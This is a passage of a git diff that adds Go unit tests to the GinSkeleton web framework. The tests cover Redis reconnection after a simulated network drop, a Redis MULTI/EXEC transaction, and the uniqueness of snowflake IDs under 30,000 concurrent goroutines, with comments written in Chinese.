+ //官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() + + // 以上内容输出后 , 拔掉网线, 模拟短暂的网络抖动 + t.Log("请在 10秒之内拔掉网线") + time.Sleep(time.Second * 10) + // 断网情况下就会自动进行重连 + redisClient = redis_factory.GetOneRedisClient() + if res, err = redisClient.String(redisClient.Execute("get", "key2020")); err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + t.Log("获取的值:", res) + } + redisClient.ReleaseOneRedisClient() +} + +// 测试返回值为多值的情况 +func TestRedisMulti(t *testing.T) { + redisClient := redis_factory.GetOneRedisClient() + + if _, err := redisClient.String(redisClient.Execute("multi")); err == nil { + redisClient.Execute("hset", "mobile", "xiaomi", "1999") + redisClient.Execute("hset", "mobile", "oppo", "2999") + redisClient.Execute("hset", "mobile", "iphone", "3999") + + if strs, err := redisClient.Int64s(redisClient.Execute("exec")); err == nil { + t.Logf("直接输出切片:%#+v\n", strs) + } else { + t.Errorf(err.Error()) + } + } else { + t.Errorf(err.Error()) + } + redisClient.ReleaseOneRedisClient() +} + +// 其他请参照以上示例即可 diff --git a/GinSkeleton/test/snowflake_test.go b/GinSkeleton/test/snowflake_test.go new file mode 100644 index 0000000..b916ade --- /dev/null +++ b/GinSkeleton/test/snowflake_test.go @@ -0,0 +1,56 @@ +package test + +import ( + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "sync" + "testing" +) + +// 雪花算法单元测试 + +func TestSnowFlake(t *testing.T) { + // 并发 3万 测试,实际业务场景中,并发是不可能达到 3万 这个值的 + var slice1 []int64 + var vMuext sync.Mutex + var wg sync.WaitGroup + wg.Add(30000) + + for i := 1; i <= 30000; i++ { + go func() { + defer wg.Done() + //加锁操作主要是为了保证切片([]int64)的并发安全, + //我们本次测试的核心目的是雪花算法生成的ID必须是唯一的 + vMuext.Lock() + slice1 = append(slice1, variable.SnowFlake.GetId()) + vMuext.Unlock() + //fmt.Printf("%d\n", variable.SnowFlake.GetId()) + }() + } + + wg.Wait() + + if lastLen := len(RemoveRepeatedElement(slice1)); lastLen == 30000 { + t.Log("单元测试OK") + } else { + t.Errorf("雪花算法单元测试失败,并发 3万 生成的id经过去重之后,小于预期个数,去重后的个数:%d\n", lastLen) + } +} + +// 切片去重 +func RemoveRepeatedElement(arr []int64) (newArr []int64) { + newArr = make([]int64, 0) + for i := 0; i < len(arr); i++ { + repeat := false + for j := i + 1; j < len(arr); j++ { + if arr[i] == arr[j] { + repeat = true + break + } + } + if !repeat { + newArr = append(newArr, arr[i]) + } + } + return +}